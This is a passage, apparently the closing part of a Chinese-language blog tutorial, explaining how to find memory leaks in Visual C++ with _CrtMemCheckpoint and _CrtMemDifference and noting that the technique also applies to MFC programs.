顾名思义,_CrtMemDifference 比较两个内存状态(前两个参数),生成这两个状态之间差异的结果(第三个参数)。在程序的开始和结尾放置 _CrtMemCheckpoint 调用,并使用 _CrtMemDifference 比较结果,是检查内存泄漏的另一种方法。如果检测到泄漏,则可以使用 _CrtMemCheckpoint 调用通过二进制搜索技术来分割程序和定位泄漏。
五、结论
尽管 VC ++ 具有一套专门调试 MFC 应用程序的机制,但本文上述讨论的内存分配很简单,没有涉及到 MFC 对象,所以这些内容同样也适用于 MFC 程序。在 MSDN 库中可以找到很多有关 VC++ 调试方面的资料,如果你能善用 MSDN 库,相信用不了多少时间你就有可能成为调试高手。
发表评论 取消回复